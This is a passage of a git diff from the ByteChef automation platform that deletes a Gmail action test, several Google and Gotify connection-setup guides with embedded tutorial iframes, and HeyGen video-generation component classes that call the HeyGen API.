-    private final ActionContext mockedActionContext = mock(ActionContext.class);
-    private final Parameters mockedParameters = mock(Parameters.class);
-    private final ArgumentCaptor<Parameters> parametersArgumentCaptor = ArgumentCaptor.forClass(Parameters.class);
-
-    @Test
-    void testPerform() {
-        List<Label> labels = List.of(
-            new Label().setId("1")
-                .setName("label1"),
-            new Label().setId("2")
-                .setName("label2"),
-            new Label().setId("3")
-                .setName("label3"));
-
-        try (MockedStatic<GoogleMailUtils> googleServicesMockedStatic = mockStatic(GoogleMailUtils.class)) {
-            googleServicesMockedStatic.when(() -> GoogleMailUtils.getLabels(parametersArgumentCaptor.capture()))
-                .thenReturn(labels);
-
-            List<Label> result = GoogleMailListLabelsAction.perform(null, mockedParameters, mockedActionContext);
-
-            assertEquals(labels, result);
-            assertEquals(mockedParameters, parametersArgumentCaptor.getValue());
-        }
-    }
-}
diff --git a/server/libs/modules/components/google/google-maps/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-maps/src/main/resources/connection.mdx
deleted file mode 100644
index 08ed8c162a8..00000000000
--- a/server/libs/modules/components/google/google-maps/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,24 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Geocoding API, Places API and Routes API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Click this icon.
-3. Click on **APIs & Services**.
-4. Enter **Geocoding API** in search bar.
-5. Click on **Geocoding API**.
-6. Click on **Enable**.
-7. Enter **Places API** in search bar.
-8. Click on **Places API**.
-9. Click on **Enable**.
-10. Enter **Routes API** in search bar.
-11. Click on **Routes API**.
-12. Click on **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/8f4f75b3-b4f9-43bd-a50e-6344dc2d298d?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-meet/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-meet/src/main/resources/connection.mdx
deleted file mode 100644
index 206d7943fef..00000000000
--- a/server/libs/modules/components/google/google-meet/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Meet REST API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google meet rest api" in the search bar.
-5. Click on **Google Meet REST API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)' }}>
-    <iframe src="https://www.guidejar.com/embed/1CkDQzRt6lbwhSWkjhQu?type=1&controls=on" width="100%" height="100%" style={{ position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-photos/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-photos/src/main/resources/connection.mdx
deleted file mode 100644
index e172aece7cf..00000000000
--- a/server/libs/modules/components/google/google-photos/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Photos API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google photos library api" in the search bar.
-5. Click on **Google Photos Library API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/st6rRToaukvGyoicvSY8?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-search-console/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-search-console/src/main/resources/connection.mdx
deleted file mode 100644
index f8ffc754128..00000000000
--- a/server/libs/modules/components/google/google-search-console/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,19 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Search Console API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google search console api" in the search bar.
-5. Click on **Google Search Console API**.
-6. Click **Enable**.
-
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/AQ8Q5FVSFi5jj3NasPXz?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-sheets/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-sheets/src/main/resources/connection.mdx
deleted file mode 100644
index e6b8cf93dd2..00000000000
--- a/server/libs/modules/components/google/google-sheets/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Sheets API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google sheets api" in the search bar.
-5. Click on **Google Sheets API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/61d6b773-ad2d-49c3-9c9c-d0b906cd5086?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-slides/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-slides/src/main/resources/connection.mdx
deleted file mode 100644
index 764f85c5ca8..00000000000
--- a/server/libs/modules/components/google/google-slides/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Slides API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google slides api" in the search bar.
-5. Click on **Google Slides API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/oO5B0kqdh0w4eOIIEz21?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-tasks/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-tasks/src/main/resources/connection.mdx
deleted file mode 100644
index 396e2d63a06..00000000000
--- a/server/libs/modules/components/google/google-tasks/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Tasks API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google tasks api" in the search bar.
-5. Click on **Google Tasks API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/KXgBAQJrLICQjFAeVlcT?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/youtube/src/main/resources/connection.mdx b/server/libs/modules/components/google/youtube/src/main/resources/connection.mdx
deleted file mode 100644
index f9f92a6b6a8..00000000000
--- a/server/libs/modules/components/google/youtube/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable YouTube API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "youube api" in the search bar.
-5. Click on **YouTube Data API v3**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/9b51f546-6d77-4e9b-b27a-c8704982ccbf?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/gotify/src/main/resources/connection.mdx b/server/libs/modules/components/gotify/src/main/resources/connection.mdx
deleted file mode 100644
index a222d4fcf9b..00000000000
--- a/server/libs/modules/components/gotify/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Prerequisites
-
-Install [Gotify](https://gotify.net/docs/install) on your server.
-
-### Create Gotify Token
-
-1. Click on "Apps".
-2. Click on "Create Application".
-3. Enter name and description of your application. Select default priority of your messages.
-4. Click on "Create".
-5. Here you can copy your token.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/06862062-eb52-4d5f-9184-f2287e4c0df0?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/heygen/build.gradle.kts b/server/libs/modules/components/heygen/build.gradle.kts
deleted file mode 100644
index bf2a7f56ed1..00000000000
--- a/server/libs/modules/components/heygen/build.gradle.kts
+++ /dev/null
@@ -1,2 +0,0 @@
-version="1.0"
-
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/HeyGenComponentHandler.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/HeyGenComponentHandler.java
deleted file mode 100644
index 9598f0d7e34..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/HeyGenComponentHandler.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen;
-
-import static com.bytechef.component.definition.ComponentDsl.component;
-import static com.bytechef.component.definition.ComponentDsl.tool;
-
-import com.bytechef.component.ComponentHandler;
-import com.bytechef.component.definition.ComponentCategory;
-import com.bytechef.component.definition.ComponentDefinition;
-import com.bytechef.component.heygen.action.HeyGenGenerateVideoFromTemplateAction;
-import com.bytechef.component.heygen.action.HeyGenTranslateVideoAction;
-import com.bytechef.component.heygen.action.HeyGenUploadAssetAction;
-import com.bytechef.component.heygen.connection.HeyGenConnection;
-import com.bytechef.component.heygen.trigger.HeyGenVideoGenerationCompletedTrigger;
-import com.bytechef.component.heygen.trigger.HeyGenVideoGenerationFailedTrigger;
-import com.google.auto.service.AutoService;
-
-/**
- * @author Marija Horvat
- */
-@AutoService(ComponentHandler.class)
-public class HeyGenComponentHandler implements ComponentHandler {
-
-    private static final ComponentDefinition COMPONENT_DEFINITION = component("heyGen")
-        .title("HeyGen")
-        .description(
-            "HeyGen is an AI Video Generator that lets you create explainer videos, marketing and sales promos, " +
-                "product demos, training and onboarding content.")
-        .icon("path:assets/heygen.svg")
-        .categories(ComponentCategory.ARTIFICIAL_INTELLIGENCE)
-        .connection(HeyGenConnection.CONNECTION_DEFINITION)
-        .actions(
-            HeyGenGenerateVideoFromTemplateAction.ACTION_DEFINITION,
-            HeyGenTranslateVideoAction.ACTION_DEFINITION,
-            HeyGenUploadAssetAction.ACTION_DEFINITION)
-        .clusterElements(
-            tool(HeyGenGenerateVideoFromTemplateAction.ACTION_DEFINITION),
-            tool(HeyGenTranslateVideoAction.ACTION_DEFINITION),
-            tool(HeyGenUploadAssetAction.ACTION_DEFINITION))
-        .triggers(
-            HeyGenVideoGenerationCompletedTrigger.TRIGGER_DEFINITION,
-            HeyGenVideoGenerationFailedTrigger.TRIGGER_DEFINITION)
-        .customAction(true);
-
-    @Override
-    public ComponentDefinition getDefinition() {
-        return COMPONENT_DEFINITION;
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenGenerateVideoFromTemplateAction.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenGenerateVideoFromTemplateAction.java
deleted file mode 100644
index bc836ae911d..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenGenerateVideoFromTemplateAction.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.CAPTION;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ENABLE_SHARING;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.FOLDER_ID;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TEMPLATE_ID;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.heygen.util.HeyGenUtils;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenGenerateVideoFromTemplateAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("generateVideoFromTemplateAction")
-        .title("Generate Video From Template")
-        .description("Generates a video based on the specified template.")
-        .properties(
-            string(TEMPLATE_ID)
-                .label("Template ID")
-                .description("The ID of the template.")
-                .options((OptionsFunction<String>) HeyGenUtils::getTemplateIdOptions)
-                .required(true),
-            string(FOLDER_ID)
-                .label("Folder ID")
-                .description("Unique identifier of the folder where the video is stored.")
-                .options((OptionsFunction<String>) HeyGenUtils::getFolderIdOptions)
-                .required(false),
-            bool(CAPTION)
-                .label("Caption")
-                .description("Whether to enable captions in the video.")
-                .required(false),
-            bool(ENABLE_SHARING)
-                .label("Enable Sharing")
-                .description("Whether to make the video publicly shareable immediately after creation.")
-                .required(false))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string("video_id")
-                            .description("Unique identifier of the generated video."))))
-        .perform(HeyGenGenerateVideoFromTemplateAction::perform);
-
-    private HeyGenGenerateVideoFromTemplateAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Map<String, ?> body = context
-            .http(http -> http.post(
-                "https://api.heygen.com/v2/template/" + inputParameters.getRequiredString(TEMPLATE_ID) + "/generate"))
-            .body(
-                Body.of(
-                    FOLDER_ID, inputParameters.getString(FOLDER_ID),
-                    CAPTION, inputParameters.getBoolean(CAPTION),
-                    ENABLE_SHARING, inputParameters.getBoolean(ENABLE_SHARING)))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        return body.get("data");
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenTranslateVideoAction.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenTranslateVideoAction.java
deleted file mode 100644
index 7ef62cecfc2..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenTranslateVideoAction.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.OUTPUT_LANGUAGE;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TITLE;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.TRANSLATE_AUDIO_ONLY;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.VIDEO_URL;
-
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.heygen.util.HeyGenUtils;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenTranslateVideoAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("translateVideoAction")
-        .title("Translate Video")
-        .description(
-            "Translates a video into one or more of 175+ supported languages with natural-sounding voice and " +
-                "accurate lip-sync.")
-        .properties(
-            string(VIDEO_URL)
-                .label("Video URL")
-                .description(
-                    "URL of the video file to be translated. Supports direct video file URLs, Google Drive URLs, " +
-                        "and YouTube URLs.")
-                .required(true),
-            string(OUTPUT_LANGUAGE)
-                .label("Output Language")
-                .description("The target language in which the video will be translated.")
-                .options((OptionsFunction<String>) HeyGenUtils::getLanguageOptions)
-                .required(true),
-            string(TITLE)
-                .label("Title")
-                .description("Title of the video.")
-                .required(false),
-            bool(TRANSLATE_AUDIO_ONLY)
-                .label("Translate Audio Only")
-                .description(
-                    "Translate only the audio; ideal for videos where the speaker is not visible, such as " +
-                        "narrations, voiceovers, etc.")
-                .defaultValue(false)
-                .required(false))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string("video_translate_id")
-                            .description("Unique identifier of the translated video."))))
-        .perform(HeyGenTranslateVideoAction::perform);
-
-    private HeyGenTranslateVideoAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Map<String, ?> body = context
-            .http(http -> http.post("https://api.heygen.com/v2/video_translate"))
-            .body(
-                Body.of(
-                    VIDEO_URL, inputParameters.getRequiredString(VIDEO_URL),
-                    OUTPUT_LANGUAGE, inputParameters.getRequiredString(OUTPUT_LANGUAGE),
-                    TITLE, inputParameters.getString(TITLE),
-                    TRANSLATE_AUDIO_ONLY, inputParameters.getBoolean(TRANSLATE_AUDIO_ONLY)))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        return body.get("data");
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenUploadAssetAction.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenUploadAssetAction.java
deleted file mode 100644
index 8dadf86e20f..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/action/HeyGenUploadAssetAction.java
+++ /dev/null
@@ -1,88 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.fileEntry;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.Context.Http.responseType;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.FILE_ENTRY;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.FileEntry;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenUploadAssetAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("uploadAssetAction")
-        .title("Upload Asset")
-        .description("Uploads a media file to the authenticated user's HeyGen account.")
-        .properties(
-            fileEntry(FILE_ENTRY)
-                .label("File Entry")
-                .description("Asset file to upload.")
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string("id")
-                            .description("Unique identifier of the uploaded asset."),
-                        string("name")
-                            .description("ID assigned to the uploaded asset."),
-                        string("file_type")
-                            .description("Type of the uploaded asset, for example, audio, video, or image."),
-                        string("folder_id")
-                            .description("Unique identifier of the folder that contains the asset."),
-                        string("meta")
-                            .description("Metadata related to the uploaded asset."),
-                        integer("created_ts")
-                            .description("Unix timestamp when the asset was created."),
-                        string("url")
-                            .description("URL to access or download the uploaded file."),
-                        string("image_key")
-                            .description("Image key for image-type assets."))))
-        .perform(HeyGenUploadAssetAction::perform);
-
-    private HeyGenUploadAssetAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        FileEntry file = inputParameters.getRequiredFileEntry(FILE_ENTRY);
-
-        Map<String, ?> body = context
-            .http(http -> http.post("https://upload.heygen.com/v1/asset"))
-            .header("Content-type", file.getMimeType())
-            .body(Body.of(file))
-            .configuration(responseType(ResponseType.JSON))
-            .execute()
-            .getBody(new TypeReference<>() {});
-
-        return body.get("data");
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/connection/HeyGenConnection.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/connection/HeyGenConnection.java
deleted file mode 100644
index d70d1f1ec4a..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/connection/HeyGenConnection.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.connection;
-
-import static com.bytechef.component.definition.Authorization.KEY;
-import static com.bytechef.component.definition.ComponentDsl.authorization;
-import static com.bytechef.component.definition.ComponentDsl.connection;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.Authorization.ApplyResponse;
-import com.bytechef.component.definition.Authorization.AuthorizationType;
-import com.bytechef.component.definition.ComponentDsl.ModifiableConnectionDefinition;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenConnection {
-
-    public static final ModifiableConnectionDefinition CONNECTION_DEFINITION = connection()
-        .authorizations(
-            authorization(AuthorizationType.API_KEY)
-                .title("API Key")
-                .properties(
-                    string(KEY)
-                        .label("API key")
-                        .required(true))
-                .apply((connectionParameters, context) -> ApplyResponse.ofHeaders(
-                    Map.of("X-Api-Key", List.of(connectionParameters.getRequiredString(KEY))))));
-
-    private HeyGenConnection() {
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/constant/HeyGenConstants.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/constant/HeyGenConstants.java
deleted file mode 100644
index ae0effcda02..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/constant/HeyGenConstants.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.constant;
-
-/**
- * @author Marija Horvat
- */
-public class HeyGenConstants {
-
-    public static final String CAPTION = "caption";
-    public static final String ENABLE_SHARING = "enable_sharing";
-    public static final String FILE_ENTRY = "fileEntry";
-    public static final String FOLDER_ID = "folder_id";
-    public static final String ID = "id";
-    public static final String NAME = "name";
-    public static final String OUTPUT_LANGUAGE = "output_language";
-    public static final String TEMPLATE_ID = "template_id";
-    public static final String TITLE = "title";
-    public static final String TRANSLATE_AUDIO_ONLY = "translate_audio_only";
-    public static final String VIDEO_URL = "video_url";
-
-    private HeyGenConstants() {
-    }
-}
diff --git a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationCompletedTrigger.java b/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationCompletedTrigger.java
deleted file mode 100644
index ac9ccf9e689..00000000000
--- a/server/libs/modules/components/heygen/src/main/java/com/bytechef/component/heygen/trigger/HeyGenVideoGenerationCompletedTrigger.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.heygen.trigger;
-
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.definition.ComponentDsl.trigger;
-import static com.bytechef.component.heygen.constant.HeyGenConstants.ID;
-import static com.bytechef.component.heygen.util.HeyGenUtils.deleteWebhook;
-import static com.bytechef.component.heygen.util.HeyGenUtils.getWebhookEventData;
-import static com.bytechef.component.heygen.util.HeyGenUtils.registerWebhook;
-
